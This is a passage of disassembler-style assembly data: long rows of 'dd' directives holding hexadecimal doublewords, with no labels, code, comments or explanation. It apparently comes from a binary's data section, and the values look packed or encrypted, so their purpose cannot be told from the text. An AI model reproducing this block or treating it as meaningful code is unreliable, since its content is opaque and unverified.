9651243Eh dd 6558BD80h, 0BD4514BAh, 51E9A450h, 5C5428Bh, 68A291EEh dd 10C2323Bh, 8913DE12h, 6CFE00E5h, 46208655h, 5A99709Fh dd 67E4A14Fh, 0DC7B1EECh, 0D7F705E0h, 0C078140Ah, 331F3CA1h dd 0D5FDD0CAh, 0B5C20820h, 0CA82E95Fh, 3AF87D47h, 0CF2C67E0h dd 0DB46970Fh, 315A58E7h, 83A4A23Eh, 0CBD7096Ah, 31499EFFh dd 0C8C5F541h, 0A44AB159h, 4BAF7DA3h, 91292C25h, 2F1CBFE9h dd 3957B198h, 5BB20E05h, 0DD0BF44Eh, 305290C1h, 7FC97248h dd 0A7435DC6h, 6620CC25h, 0C5F91F1h, 68197729h, 0D1611B2Dh dd 0CD940C89h, 7C4F045Ch, 0FE7427FCh, 98DD955Bh, 4FE2DF8Fh dd 7FA4A7FEh, 84BD46FAh, 0C880B473h, 25683AC4h, 9C57738Fh dd 0B33AC52Ah, 5100BFA7h, 0C380CBFEh, 0FBE975D5h, 31B9C82Eh dd 90F440Fh, 0F010A9C8h, 1DF4BF4Eh, 802B8C70h, 4693D821h dd 0BB30933Eh, 899F71FEh, 3C3C31EFh, 1DFF4A41h, 0D9820F0h dd 0DB8DBC25h, 0AD520962h, 0F26DC455h, 2CF55596h, 0BD1D5520h dd 5B88180h, 1C05AA52h, 7A0A92BBh, 0A6AD6CC1h, 9F82AF04h dd 17AAE159h, 49D7BAF3h, 123A29E5h, 2B84FB6Fh, 8220B3EBh dd 0F2FF3AE9h, 5301588Fh, 0FD68D9C2h, 0D3AFC059h, 0E23313DCh dd 4B094C7h, 234D600Bh, 5A0776C3h, 0E958800Dh, 48953314h dd 0CE1011C2h, 0EF4FC5C5h, 5BFD4A5Dh, 0BB251730h, 544C6849h dd 126DC241h, 4E26460Ah dd 0D5055B0Bh, 78DF461Ah, 0E3088B4Fh, 0F50635EEh, 0AE645B0Dh dd 13E53798h, 0EF3AC141h, 1A026801h, 0C243609h, 95C9F8F0h dd 3B9CD949h, 0E61E24FAh, 36F69302h, 0D7572Eh, 2D410958h dd 7A013725h, 0E996608Fh, 2974CE79h, 8BF8BD5Bh, 0FAECF44Fh dd 5675E24h, 87E328C2h, 8BE9574Fh, 12BFD6F8h, 0CB47DDBFh dd 4BDBF704h, 49D1F0FEh, 65B5B816h, 50FB36C2h, 0BE5B711h dd 0B62C173Fh, 16DD338Ch, 25EC35h, 3A047C56h, 0E19F3177h dd 0C46812A8h, 455A3F47h, 95F2A783h, 165B09C8h, 5CCC6857h dd 7FEB2568h, 0F7551A7Ah, 7B37E149h, 1286D814h, 3DEB56DAh dd 0C4F62B05h, 57744612h, 2383AA80h, 0F626DAEEh, 0AFEF97F0h dd 0B6011983h, 0EE1C445Ah, 308F7F95h, 0D542286Bh, 0D5C512F5h dd 0E8D3B136h, 500CDEFFh, 7582CBFAh, 0A2F7BEC0h, 36283BCh dd 0B23BDD4Fh, 965C71D9h, 0BBE5616h, 0D9D00E26h, 2084BA04h dd 0AFE4391Ah, 345F1757h, 6194A03Ch, 9006DFE3h, 73D26C46h dd 939D0B0Ch, 57918C0Ch, 0B08B50DDh, 0C60408ADh, 0CEFE5866h dd 5E719AE6h, 0AA4590D2h, 112C0A63h, 403F0143h, 2E220BBEh dd 0B98260B9h, 16DE56F7h, 1B15DE48h, 3BBA03A6h, 0D273AC02h dd 4E21588Eh, 0AEC728h, 41B551D8h, 0A4B8E8E0h, 50204569h dd 388A20CEh, 0CF2FEB98h, 0FA594655h, 83A9CD5Eh, 92D52E91h dd 58034022h, 67F1B522h, 40B46861h, 0E913DD23h, 0B887402Fh dd 7BA33404h, 0B7BA20FBh, 352E540h, 0CA808BB2h, 0A9EFEB3h dd 0C23D3078h, 69F2962Dh, 0BF14E40Dh, 0BE4E1A38h, 0B1F2BC12h dd 7D78FA97h, 13354FE9h, 0E231AFEBh, 8F7B07A2h, 7CFC5E02h dd 0FCC9EE13h, 5FFAA089h, 3F592A68h, 15902598h, 619228D9h dd 0E1E6C2EFh, 49E2C5F7h, 0F040D2Eh, 220781C9h, 118D6A2Dh dd 0FB58E229h, 0F90DE983h, 0C9D52240h, 0C8A5FE76h, 1F817BFh dd 9D2ADE9h, 0A78841Dh, 0E9F810B6h, 1A99EF3h, 0A9B96651h dd 7340881Bh, 0FD310EEDh, 4CD088E9h, 5BDD280Bh, 5F340B50h dd 0AA04798Bh, 0A038EA1Ch, 1FAB2768h, 0FF7968A2h, 0DB2F7C67h dd 5BDE032Bh, 68F8EE83h, 799F5691h, 9ACC4931h, 3549A0B0h dd 53A10741h, 4EA263BCh, 63795668h, 0C05CC8E2h, 0B12D0204h dd 753ECE20h, 0C62BC002h, 85506602h, 0EF88FEBCh, 6078B7C9h dd 0D6398490h, 2920136Eh, 4D1CFBh, 0E92F6440h, 0FBBD9519h dd 41E4A870h, 83B07FA4h, 0BF02E683h, 7E8FAB0h, 0A71CF19Dh dd 76B48158h, 44E7BD01h, 87E85FA8h, 0B214C3DEh, 0B210FE17h dd 68131138h, 4B8BA897h, 6FA2F7BCh, 56F935C2h, 5D25099Ch dd 1444CACCh, 0B191A851h, 4FB4EEEAh, 0FAB374DAh, 0B610E15Dh dd 1EED116h, 0E3165BFDh, 574D006Ch, 68610932h, 3CB04834h dd 968827E7h, 0FA0AD310h, 0AEE36F80h, 7944243Fh, 0EF800253h dd 17F4F7FFh, 4EB14F0Bh, 19424C47h, 5971A520h, 0FB9248EEh dd 4414BF04h, 81BB091Dh, 320E5E0h, 5F9C0958h, 0BE070E24h dd 3500E8F4h, 4A2D0628h, 6F690F05h, 8BE42171h, 1E3CAB25h dd 0BFE84F17h, 437E382Dh, 0CD6C668h, 0F021FD90h, 0BC5EF490h dd 543F1D49h, 25636055h, 0E925160Bh, 81CED4F0h, 38F314F7h dd 0C1B86AF4h, 0D248B24Fh, 0A1368279h, 4B698210h, 0D2BB6157h dd 508B20h, 0B47D66A2h, 2B7726E6h, 37DA7A8Ch, 0AC81B377h dd 5A8E5D60h, 20EC89C8h, 56BE77BDh, 0DF314789h, 0EC980A6Eh dd 0D12A6241h, 3E0A52E7h, 80CDCE33h, 0FC4A6109h, 0F4535436h dd 8D4B03A8h, 4CF8106h, 8020E4E7h, 0B823B1D2h, 690C6F60h dd 5E111C6Dh, 98DED047h, 0A64A18EEh, 9525FDE9h, 340DD5C0h dd 30B37A03h, 0D22C2335h, 20B274DBh, 4A250C88h, 0AB0C09E6h dd 8C51C616h, 0B10681BBh, 0C1EA04E0h, 729A328Ch, 10AB5EBBh dd 43549240h, 90455F5Ah, 5D336864h, 925847Fh, 0CF52D1B5h dd 848692CAh, 0C05EF209h, 0C35FDB2Fh, 5615C5Ch, 7576DF56h dd 8E0C4FC4h, 9F77D78h, 7AB72B4h, 212D3C58h, 7A96F7F1h dd 4E363E22h, 69D4B356h, 1569770Dh, 0A11B6AC6h, 990AB632h dd 0CCDD256Ch, 0AD1C4F21h, 35F0C002h, 5AE95377h, 0B1101CE4h dd 0EAC3615Ch, 69F7DF88h, 13434684h, 0EC1BC9EFh, 0A8BE13FBh dd 0EF4A7791h, 0F225E18Fh, 78771509h, 48122572h, 0B760F254h dd 4CE7807Bh, 69163695h, 0DD710488h, 0BB6601EDh, 31D02ED8h dd 0F85C9FCBh, 0FD8A5D8Bh, 936199BAh, 0B62C3FB2h, 96C39156h dd 8626A92Bh, 6AC59Ch, 7E0933B9h, 52D1F70Dh, 1CA9BA1Ah dd 13E47C0Ah, 0EFB3C559h, 0CCDEA804h, 0F217F7A3h, 5C21CCBAh dd 2C459B7h, 114D352Ah, 5F690640h, 0E960B30Fh, 27AD38FAh dd 0DD7127A8h, 0ECFA96F5h, 7DC209E7h, 0E7727A0Fh, 0C3CC7704h dd 0A4FB31E1h, 599D4EE1h, 77680BA9h, 5BB2D1C8h, 390CE588h dd 7A482C70h, 8D0F0902h, 50572913h, 7EE03BFh, 9EE90C11h dd 0E20BFC9Dh, 6DAD4057h, 68B08394h, 0D434618Ah, 0F0F86A2Eh dd 0CED45C2Fh, 759EDC89h, 4A01C8E7h, 313B2509h, 68D1E901h dd 9E4D3281h, 17A37D8Bh, 8D5B8C84h, 4AF98A28h, 0C53F9076h dd 0C03B327Bh, 0B5ED0014h, 1473D55h, 8A85B8FDh, 0FA565508h dd 290B1720h, 7A5F5AD5h, 41695A76h, 1213E163h, 0F1F0208Fh dd 0E3239309h, 0FECA5750h, 5A8FE45Fh, 10F9A2C3h, 11DD1FAh dd 4925D2F2h, 50B57A1h, 5CA554DCh, 0AD3497Ah, 0FCC79609h dd 79004B67h, 707519C3h, 178FB2C0h, 0A8297AAAh, 92149F99h dd 855595B7h, 0BEC05B8Bh, 0EA4DA140h, 45271495h, 0F738058h dd 0E901F251h, 2D64B0ECh, 592CA10Eh, 0EFCB5E02h, 50B3900Bh dd 7B010B54h, 6E84D821h, 526D4477h, 0D416BC1Eh, 840097FEh dd 12B1ACB8h, 0B5A0FB21h, 75371F89h, 51249315h, 563CDF00h dd 0D0E2D596h, 0FD7BA74Dh, 5E579D09h, 8A328E5Fh, 0F02D4D05h dd 0FFA720CBh, 706EBE05h, 4C822616h, 2F60814h, 1BC70228h dd 96BB1D48h, 0D4C14525h, 9320305Dh, 0B4BCE27h, 17B184EFh dd 0C22BE208h, 0D7FEE55Eh, 173E9953h, 2DFC79A4h, 9BE05CCBh dd 28803193h, 851D2C1h, 592F9F43h, 85746B48h, 0D480AD58h dd 521A255Dh, 11C09EBEh, 0E1171AE0h, 40B12927h, 405B0802h dd 2C35B608h, 23F67BDh, 4D1C2CA3h, 6B7D8E75h, 13BA00CFh dd 951AA109h, 2D199C77h, 20E849E9h, 1418CEF2h, 0A9E53C6h dd 2B930417h, 0A23AED68h, 0D863501Dh, 2DF650B7h, 0C7E014E9h dd 4F0BDDBEh, 0DD097B9Fh, 0B921DA07h, 0C6207746h, 315C7E0Ah dd 681CC2E3h, 2DAF30F7h, 0F3EAFAC0h, 98D0593Ch, 0B44D4FFFh dd 0E31EE19Eh, 177EF07Eh, 81201239h, 4AE63D8Ch, 92E042Fh dd 1C31B24Eh, 0CF9FE188h, 0D449EC09h, 0AF5E97C3h, 585073C7h dd 1150F328h, 20991E9h, 0B97D18CAh, 0DF818062h, 95E424F2h dd 2319AB02h, 28696801h, 92006436h, 8305636Fh, 7D9501C2h dd 8481D212h, 0CE5F3B6Dh, 68CC8BDDh, 0B4E1CBA1h, 84C2880Eh dd 0DEF65907h, 0DFD0B592h, 0F4E15B83h, 0AD20BFADh, 7DB80A27h dd 0FA062763h, 90C1145h, 4ADCA5D3h, 3F503D06h, 68F031ADh dd 55C9761Ah, 819F7CF8h, 92449AF2h, 17D93282h, 50904523h dd 4B953F35h, 5C34872Ch, 3D25E9EEh, 20B37709h, 24EE0CD9h dd 424EC200h, 40D27D8Ch, 0D577097Bh, 0E7FB2B37h, 63A077DBh dd 70CE685Bh, 4A285B9Fh, 3FFA0931h, 2D16AF7h, 0D63120F3h dd 27E15396h, 0C665942Ah, 332F17A1h, 44B30FEEh, 11EC5FCh dd 0EBD5C0F3h, 0A43C5785h dd 0A7F1CB25h, 0B1C0806h, 505861F2h, 245F0891h, 0BF985772h dd 0ED51BF0Ch, 4B86622h, 0E93AD15Dh, 7869FC71h, 116C6816h dd 6317CEA3h, 5DC53250h, 0AD7AB882h, 26704675h, 42C99168h dd 0F15D0FA7h, 0A1026492h, 394E302Bh, 0C0AD9F40h, 0E743B096h dd 0D660F72Eh, 27A065F5h, 0E2015BCDh, 0BA8610EBh, 9FA9826Eh dd 0B4F66FEEh, 8000C4B4h, 0C2FE64EAh, 7F686266h, 4557D5C1h dd 0F1DF694Ah, 0EE68C144h, 29CE2F54h, 0E958C705h, 89D0B085h dd 41183297h, 6600FD23h, 0C862BE0Fh, 0F96C8E96h, 0C09E08F6h dd 0D1000F24h, 0D08BB050h, 2C8F7E0h, 28960204h, 3E3FE9C3h dd 1F3646F7h, 39DCF6FDh, 8B59792Dh, 0B151F6E0h, 0BA56C018h dd 3402E8C0h, 0E25CD972h, 593B2F0Ch, 7473809Bh, 0CE875692h dd 324F92B2h, 85748Ch, 812E122Ah, 0C32665C9h, 88EB4E4Bh dd 0D172F737h, 271BD94Ch, 42DF7ED0h, 2D005999h, 50D144FDh dd 0A005EE69h, 0BAC9E907h, 0B2B526A2h, 8729148Eh, 0D0638A27h dd 85F85BC7h, 25C96E84h, 24A28D7Ch, 0E918E9D4h, 67CB0324h dd 0E1991679h, 408866F3h, 0FED27596h, 0C94D13B7h, 0B37EF6EBh dd 0EE020443h, 0A3EFFBDEh, 8CE9895Bh, 2635881Eh, 13A68F9h dd 282AB725h, 0C242E812h, 540A3427h, 0DEE941F6h, 17B23F06h dd 0AC8FEA92h, 0E176A52h, 0A271FCF6h, 257D56E3h, 9D0E165Fh dd 961957Dh, 8CDE0566h, 0FDF80109h, 0DE314291h, 20A796FDh dd 5B76BB6Eh, 7AFD642Eh, 771FFC40h, 2E5EC54h, 142B7350h dd 0CF4857E9h, 0D1786B9h, 0E8000704h, 62A135EAh, 5BD92709h dd 0B3AC1B55h, 0ED82005h, 15EA2BEDh, 74271F80h, 484A9850h dd 3E67A9A0h, 1219258Eh, 41533089h, 0E8C7FEBFh, 14C2E1F4h dd 6A4C295Fh, 55A727C9h, 88D4A0F4h, 0E03388FAh, 0BF12BE61h dd 70F544F9h, 91B0132Ch, 42587D35h, 252204F9h, 0A0AE7779h dd 6C3FEF96h, 0D1511D3Dh, 731328A4h, 6A53620h, 0C11F0784h dd 0EFD104E3h, 4F68837Ch, 0F3B01E19h, 0CF328E2Bh, 5F5BEAB5h dd 0E1E92D91h, 0C649963Bh, 0C59DC4AFh, 0A9E0AB72h, 1B5D25E9h dd 20DB36F7h, 6819152Dh, 811573C4h, 76509B28h, 306B1E31h dd 13DEF952h, 747B02Ch, 0D39812BAh, 1DFF0EFh, 0EC4DC650h dd 6DBEA290h, 0DA1D6740h, 677FFA4Bh, 72DD1BD6h, 0CCF7A536h dd 73194276h, 0CCFEBE2Dh, 36DF97F6h, 52029656h, 3CB51977h dd 69E72E0Dh, 0D6EDF24Fh, 1D85E2E8h, 98335332h, 1C00D654h dd 81595114h, 287EB7E1h, 0EB2482Fh, 21C5CDF8h, 138246A4h dd 0D4BD4C0Ch, 2E387CB7h, 0C22B0177h, 0D790B960h, 0D13FA875h dd 0ADCB3EC4h, 0A1017A2Fh, 257A3DC5h, 0BDA519Dh, 0FA13AC5Dh dd 2CE2EB5Fh, 7E130ECDh, 44F9A5C8h, 0F74CA009h, 6749DF7Eh dd 40731A53h, 830C4A86h, 91E864E7h, 0F58BB440h, 0AF0D6BEFh dd 0E7244856h, 0F1024BB5h, 29BF3E5Dh, 0B6046F65h, 4CBF0F45h dd 0A4FC0662h, 0E867D00h, 1791BD55h, 0F8D8DFC6h, 0E7100797h dd 0E39B5A71h, 0B159E912h, 4BE03F6Fh, 9774B8DEh, 8321E158h dd 622ABCF6h, 5DE7FABFh, 0FC13FCBCh, 2E0FA30Fh, 8BBE6DFBh dd 89E6229Fh, 665D0378h, 3172B855h, 9BD4BFDAh, 17EBBCC4h dd 3DEAB3Ah, 5DE45918h, 0A33C0D3Fh, 9B90DA25h, 4B94F3C9h dd 13A8B846h, 0A8BC731h, 6B578E18h, 0D13F1F2h, 0C2014345h dd 428B2141h, 1632C5F0h, 0EB1B8768h, 80791C4h, 798B39E9h dd 0AA4ACFEh, 8085EDFCh, 2AAE15DBh, 0E65AD15Eh, 60D527ABh dd 75523DF6h, 953684C4h, 89C9590Eh, 4489050h, 0DA4A10F6h dd 0FC88500Eh, 0AC4BE14Fh, 9AD17261h, 0D523990Eh, 2BEA26C0h dd 7504ED3Bh, 76272F0Ch, 0F81DDA1Ah, 0E9FD0A50h, 8999865Ch dd 541A7EFAh, 8A72E577h, 94CC523h, 0F77419DDh, 0A3F5042h dd 3CC6001Ch, 34BD6151h, 7E875C17h, 0E90B9DF8h, 1BA00371h dd 0EE8895F5h, 60AA4AC4h, 0EEDA1612h, 8005F385h, 0C2A4EC0Ch dd 15FB9F5Dh, 0DF976B28h, 0EB01FA02h, 0F1083A5Bh, 815A0ECAh dd 5C7079C1h, 0D876F00Bh, 0C1DF93BDh, 7B816BA4h, 92227DE1h dd 45C66F47h, 1D064806h, 2400482h, 0C441ECF8h, 0E033F16Eh dd 0DEB7ACBDh, 5C4B5CF6h, 70A5E8h, 0B9376F10h, 8CF78A64h dd 27E6295Ch, 72EED503h, 0B63A5BBDh, 0CB01B3A8h, 38BF3161h dd 0BA3AE3D1h, 90EEF224h, 5133C32Ah, 0F048A325h, 1BA05B8h dd 0B0A516A4h, 0B83C5003h, 0F6AC254Ch, 0FE7901ACh, 2031CC22h dd 1AF4E990h, 5908E695h, 0BE023B16h, 0A614FA45h, 29173274h dd 85EB67EBh, 51EFCFDh, 6C986F0Ah, 39F344C0h, 303A301Ah dd 0B0E5839Ah, 0DF89B80Bh, 13713E9h, 0D05FA086h, 2050553Bh dd 0B45F2603h, 5380A425h, 5979834Ah, 6882C85Bh, 0E903462Dh dd 28888CC0h, 8BF204BAh, 0ABDE2128h, 87241B16h, 5F77A8h dd 1CB3CEA4h, 4B806ACDh, 953204E1h, 0AF022768h, 52EFD634h dd 0EED4FA85h, 859450EFh, 0D65FE909h, 7AC1CC6Ah, 0EE8100DDh dd 0A12E1201h, 45F4030Ch, 31EB6148h, 4E9B3410h, 9F06AF5Bh dd 637BA4Bh, 5A709AE6h, 2D1A9777h, 0FDD6FD0Ch, 0E0DFB24Ah dd 0C98941A4h, 0AFF7C7F1h, 40936B60h, 0FC968A5h, 5D29B84Bh dd 413CA264h, 185852C3h, 0B7C9D871h, 9E46B83Bh, 0B9A0BB53h dd 602D07ADh, 0C1075C28h, 3601BF68h, 0B48F12E6h, 966179AFh dd 29EB7C74h, 4B813EBEh, 9C305E0Ah, 8D114FF9h, 45AF3A32h dd 0AFFEDC67h, 1CCD2FF2h, 26A23011h, 0A16A5981h, 0FC832BD3h dd 5AE2B731h, 0F444FDF0h, 4713854Fh, 0EDA840BEh, 86539BC8h dd 83DFC097h, 82D697C3h, 7D04EC2h, 37CD624Ah, 69FBF97Fh dd 0E8655807h, 5559CE09h, 0DA55EE1Ah, 0E1E65B92h, 0D6702DB4h dd 5A2D4FA9h, 6575D762h, 0A82197B4h, 0F9C2B4E0h, 5BFEEA07h dd 28C90D5h, 7950EEB9h, 65825F33h, 3A75E1DEh, 0B9A7D575h dd 0E9149C9Fh, 1548C2FFh, 1E072CEh, 2441248h, 0E40A3AE2h dd 0E9824889h, 0AFF024F7h, 0D9D5085Eh, 0BF002D24h, 8354B37Fh dd 0ED0148C0h, 905E4904h, 7441FA0Dh, 0A24C803Bh, 822E0C7Ah dd 0D13C5A8Dh, 609825E0h, 2C67BF68h, 168963Bh, 0EA2B19C7h dd 47F45326h, 2D3F143Ch, 1617849h, 0EC837A5h, 801E60E9h dd 84685640h, 0C036DB69h, 27BCC6B0h, 0B1907C24h, 4C74960Ch dd 12F5E671h, 26C8B58h, 0F9401AD2h, 5EF38FE0h, 18EBB905h dd 3DEF7836h, 0C9047BB4h, 411F0683h, 6B1A03CAh, 2BA3ED05h dd 0DCEE4D17h, 0FA4AAD0Fh, 3AD81524h, 40F61BF1h, 72B09AB0h dd 0FB4F390Fh, 55C126ADh, 7E32E957h, 0F021FA09h, 0CDDB9DACh dd 77A05317h, 200FB8F6h, 504A849Dh, 7F1E00ECh, 28EDCC48h dd 0A9A84F16h, 7D2E076Ah, 2502B110h, 0D59F322Dh, 0DE832070h dd 58ACC64Bh, 0BEB89B85h, 12D3A4E2h, 0D8300978h, 0D3F59062h dd 426149BEh, 804D8F42h, 0AB28DCEFh, 9D096B5Ah, 0F07E8366h dd 0CB01A915h, 0F6528A60h, 0CEBEFA56h, 138BE918h, 7AE946D6h dd 93D79E5Dh, 0EAF0C4ADh, 0F53E8AA6h, 865C8CCEh, 50B2B75Eh dd 48C1BD02h, 72E0262Bh, 7033372h, 0E7D14F13h, 0D19F92E9h dd 0C8366C9h, 4280E925h, 9D4CDD34h, 17F0A637h, 1DA0BA64h dd 6DED3BB8h, 5095492h, 0E8E08BEEh, 0F31D8160h, 0B46F349Ah dd 93B883FDh, 28476D48h, 5F5E07EBh, 0C23118A9h, 0F828056Dh dd 29136744h, 30953C8h, 0FE57A638h, 0C9FE9F30h, 0AAE65C93h dd 0FA8DA813h, 22AF3C94h, 795812E6h, 6805D6BBh, 128D5C6Dh dd 9B2396E0h, 0CAD214DCh dd 9D57B2Ch, 0FBD7FF43h, 0F545996Eh, 79EA6C5Eh, 2BB07051h dd 2E6439ABh, 0CE68D781h, 0EC74123Ah, 809FB692h, 30C5C0h dd 35400B0Dh, 386E1610h, 790FD490h, 9D4869EDh, 0AF5F45C2h dd 79535F62h, 0FE17E984h, 4099D2B4h, 0CD0BB953h, 8B09442Eh dd 9E627F0Bh, 55084EF4h, 64571A24h, 80DF50A9h, 1133BDBAh dd 66C0BF84h, 0D0B5C731h, 0E95ED023h, 6BA2F102h, 0D055653Ch dd 0F95B67h, 55D5BB62h, 0B904563Fh, 47F308D0h, 26DDAC2h dd 15C5EF01h, 3A41E4ACh, 0FB3BFFBFh, 0A1316B66h, 80064E4Ah dd 3021EF0Ch, 0CE70C82h, 429D7EDCh, 6D307F18h, 7CF760A9h dd 0E0F6FF8Ah, 0BDFEE480h, 5312DDC7h, 0A6157306h, 5AD62FA3h dd 7EAF1AF9h, 9F7EB87h, 88C9159h, 95971524h, 4B1C0102h dd 0FD6BC3F6h, 0BE5635C0h, 6043DEBFh, 5B1FF008h, 74297A1Bh dd 0C344210h, 4019E917h, 8D1A2D96h, 0A7909EA6h, 0DC6D8B0Ch dd 13F40C7Dh, 0F5047B3Ah, 0C080693h, 0F3841482h, 105B09A3h dd 5EB46893h, 8107B262h, 3FBE26EFh, 64A5F282h, 48573C0Bh dd 2FE9DD37h, 35F3F6E1h, 13F8DB69h, 97E20BF3h, 6443A0E8h dd 24E63D4Ch, 0DF244CC1h, 28E25D25h, 7D56C741h, 4C0E06E5h dd 79367415h, 0A6242C5Fh, 0C2C9BB66h, 8B50D240h, 1554D43Fh dd 41E38A27h, 2CF8E1D2h, 355801ACh, 4C417FD6h, 0D27F442Ah dd 1CDD888Bh, 9B0910B6h, 20907D6Eh, 4BF45F01h, 2814B162h dd 1272CCEEh, 0B85AF388h, 0C3FE0E68h, 534EB980h, 427A1D7Eh dd 349D685Bh, 6AB4B398h, 0FCC48000h, 30FAB353h, 0F6E912DCh dd 59CDEBACh, 0D071FA2Ah, 397C02B8h, 0C2B1A8D2h, 0E252C328h dd 0DD8EEAE2h, 0C12DBF96h, 78437A62h, 80CFECC6h, 0B001EA81h dd 59223076h, 2460C201h, 825200E1h, 0E9DFF765h, 0FE4FD316h dd 0EB5E718Bh, 5B268C28h, 78DBD051h, 2C94FEF5h, 0EB055B40h dd 27FB801h, 1D7206BFh, 3E404E5Eh, 0A12F5188h, 0CE5BF057h dd 96E4A998h, 4221EE85h, 40DCD589h, 0E60ED12Fh, 3915680Bh dd 7D8B6D79h, 41EC1A47h, 0AB04C3D3h, 4F90A680h, 80345FDFh dd 6062CD13h, 1046AA35h, 0ADAE6000h, 25E9B2E4h, 8B187BF3h dd 0BC3E1085h, 5C33963Dh, 68CFBFB8h, 41664B89h, 4B1F214Eh dd 6016FDAFh, 0D17E517Ch, 59204F18h, 0A3525A49h, 0AEC829Bh dd 0A8151272h, 78C0C261h, 0C3226057h, 72E20237h, 4BABE99Bh dd 0CBDB71D5h, 62AF307Dh, 0F4F78B21h, 0ABB2AE53h, 0AA34E984h dd 555AC209h, 0D027A9E5h, 48BF00DBh, 0E902FB7Fh, 0B0DDCB4Fh dd 5CB33849h, 0C329A35h, 0E0E2817Eh, 735754EBh, 0FE40E29Ah dd 97272D5Bh, 0F7798237h, 0CF1860D1h, 17622C0Ah, 5F6A023Fh dd 22F7247Ch, 0D9F8ECE7h, 2967A59Bh, 3F922017h, 9DF87823h dd 0EFDEFAA2h, 5549145Eh, 0E53099C8h, 29BF3BF7h, 9F287A00h dd 0BB21752h, 958E06B7h, 0BD0750B6h, 153C1709h, 429789A4h dd 43B9F305h, 14306E1Ah, 650B2C59h, 2D9AC49Eh, 0B2623EE9h dd 0B2ECE173h, 58E92FC0h, 503BFC62h, 945E57F2h, 53590F24h dd 480AE841h, 0A4603BF9h, 5FF178C9h, 0EE83C41Ch, 8DCBF5D2h dd 492008C7h, 103B05B9h, 9276E935h, 5E5D05B0h, 0A9B2EB1h dd 8384DF43h, 32A2363Eh, 2E4A88D1h, 0B617AB8Eh, 68A660C2h dd 0CCBD79F4h, 0CCE9164Fh, 0BF41528Eh, 57D6A0B1h, 6805ABFCh dd 6C52286Ch, 2C692B02h, 0FC9060BCh, 374EBFE7h, 8E9ED1F6h dd 5143B603h, 0C18088B1h, 9558959Fh, 0F8DB8220h, 0CA882733h dd 50976247h, 0AC7B122Dh, 0D030C51Bh, 0E951FC41h, 446FB3E3h dd 132225EEh, 0BA9D16AAh, 68595BC0h, 0B62BE1D4h, 665C814Fh dd 1320E9F7h, 8418BD12h, 76828296h, 0A45A49C7h, 0A3E77D27h dd 0F35C6DFEh, 7DBADA25h, 75CB7E27h, 0AC96E011h, 4195B2FAh dd 626B5E1Ah, 895D7403h, 1DC57F69h, 5E4CCC42h, 3838EAC0h dd 1E846085h, 79D7C04Fh, 7F761B6Eh, 4C4BCF04h, 0ADFB475Fh dd 898A09C7h, 0ABAE0205h, 936D7C46h, 0F92E715Eh, 900014B0h dd 0A7A4070h, 80CEA05Bh, 0F0B5A326h, 305464EDh, 0AC0C41F3h dd 0D52DB791h, 654EF929h, 845FFC58h, 17BF79E9h, 7A73FA1Ch dd 4A3C88EFh, 0DF293476h, 2B081AB0h, 757EAA40h, 92A2D58Ah dd 5157C4FCh, 18556B02h, 2F3DB771h, 0C356DFF6h, 519AA06Eh dd 1501B450h, 0EAB82AE9h, 38645876h, 0C3A57A3Dh, 50BA1A40h dd 0FA54812h, 2071DA00h, 35560Bh, 27F31511h, 61468C25h dd 45E96009h, 64CA5CCEh, 8835EF51h, 0D018BEE6h, 0DBE605Fh dd 7581F09h, 2FBBD821h, 459034Bh, 6F72E147h, 6C1861C3h dd 8731093Fh, 92D514D7h, 0EDB22E56h, 0FEF093BBh, 0C527F804h dd 0BB4FE610h, 0F44F5716h, 226FE657h, 11B017EFh, 0DA5D0A76h dd 0E96417ACh, 6C050217h, 0C314E123h, 19E6DB1Ah, 4064B5ECh dd 0B3CA6AF2h, 3D74BA25h, 1491E985h, 0D8023AC8h, 49FA8C07h dd 5F5B7E3Eh, 96F56800h, 0B03B08B0h, 0E8244B20h, 0D3BAE43Bh dd 40E4E3E8h, 21742CBh, 71B59046h, 2FE7193Ch, 238FA4Bh dd 40CBD558h, 0B6E8BF9Ch, 3785C04Eh, 44903E85h, 66EB5B1Dh dd 5FFE2985h, 2CE92BC8h, 69919A83h, 10F20406h, 2CAB5F4Fh dd 0C2B774A4h, 154C5D37h, 0F0062DEh, 9EE94C47h, 9569F3Dh dd 885DE5CBh, 471C5637h, 0C0D9A77Bh, 50EE8810h, 5F22C566h dd 0E43A8DC7h, 719ED747h, 655B5F49h, 5431306Ch, 0FCDA38Ch dd 1EFC164Bh, 0E0C3677Dh, 94AEEDA9h, 7EA5350h, 69BB31A4h dd 0E2755C2h, 901D8AE0h, 0EB048101h, 16DE23DFh, 8F262CBEh dd 3A2D6475h, 0E3C04009h, 973712B5h, 7A060562h, 883B8602h dd 1249FF01h, 9BEEE972h, 0E460CD7Ah, 12D74401h, 0C94D91EBh dd 68F3B0D0h, 5F04A3B5h, 0D3E481B9h, 0E458024Fh, 0E51C261Ch dd 0D145C4F8h, 4C0C3301h, 0C409F2D6h, 4449D4Ah, 0AA1731A8h dd 5C077107h, 0E95D23B3h, 0BC6A02AAh, 0CBB4A40Dh, 0A06DD6E7h dd 68715207h, 75312D4Ah, 2105F078h, 94DE1BDEh, 73D3C110h dd 0CF8E65Ah, 134BC205h, 0E701BE46h, 6458ABCEh, 14C69740h dd 7CAC304Dh, 29497A28h, 8E09432Dh, 220561E5h, 936B5F32h dd 8BE4F2ACh, 0FA310EAAh, 0FEC605E9h, 828E64ABh, 88239A11h dd 50E4BAEAh, 0C859B7EDh, 4D545F5Ah, 0E5AD3F64h, 5F1A0325h dd 95658D7h, 3EC77B30h, 280B4C5Eh, 0E96D0177h, 3243693h dd 2EE4A4D7h, 8590D1BBh, 80753E71h, 3F99E57Fh, 0B648A528h dd 6B292509h, 0B4E2021Dh, 67AD0EEBh, 0FE6FC07Bh, 53556800h dd 32335245h, 6C64382Eh, 44411CF0h, 4950CA56h, 544E630Dh dd 518D4CF3h, 0CFF010Ah, 0A0875E9h, 9F350F68h, 0CF420614h dd 0B885FDE1h, 0C50A08A1h, 24A0BD42h, 0A1F121BBh, 5D10B112h dd 8A789A2h, 9DA3442Ch, 22A84284h, 887B0093h, 9A8E7E1Ch dd 0A21C9230h, 0BA8048AAh, 0D0C05EC4h, 0D57300DBh, 0A69B0968h dd 0B000A03Eh, 0C7B755B9h, 24D06ECEh, 3CE6E0h, 0F1198AEBh dd 7500FDA5h, 0AD93E5F8h, 595485h, 0D10726Ah, 0EB741FB7h dd 978C6200h, 43D62C2Fh, 7307591Bh, 0F76AD407h, 69FBD05Ah dd 633B5DABh, 45420010h, 82616CBCh, 0CAC43B8Eh, 913CD400h dd 0C33A4320h, 4524900h, 1CA7A601h, 12E80071h, 61B7BA18h dd 30084F7h, 5E43D575h, 0DC1DECh, 119CC435h, 55A34FB1h dd 1C38C101h, 0CDBFE758h, 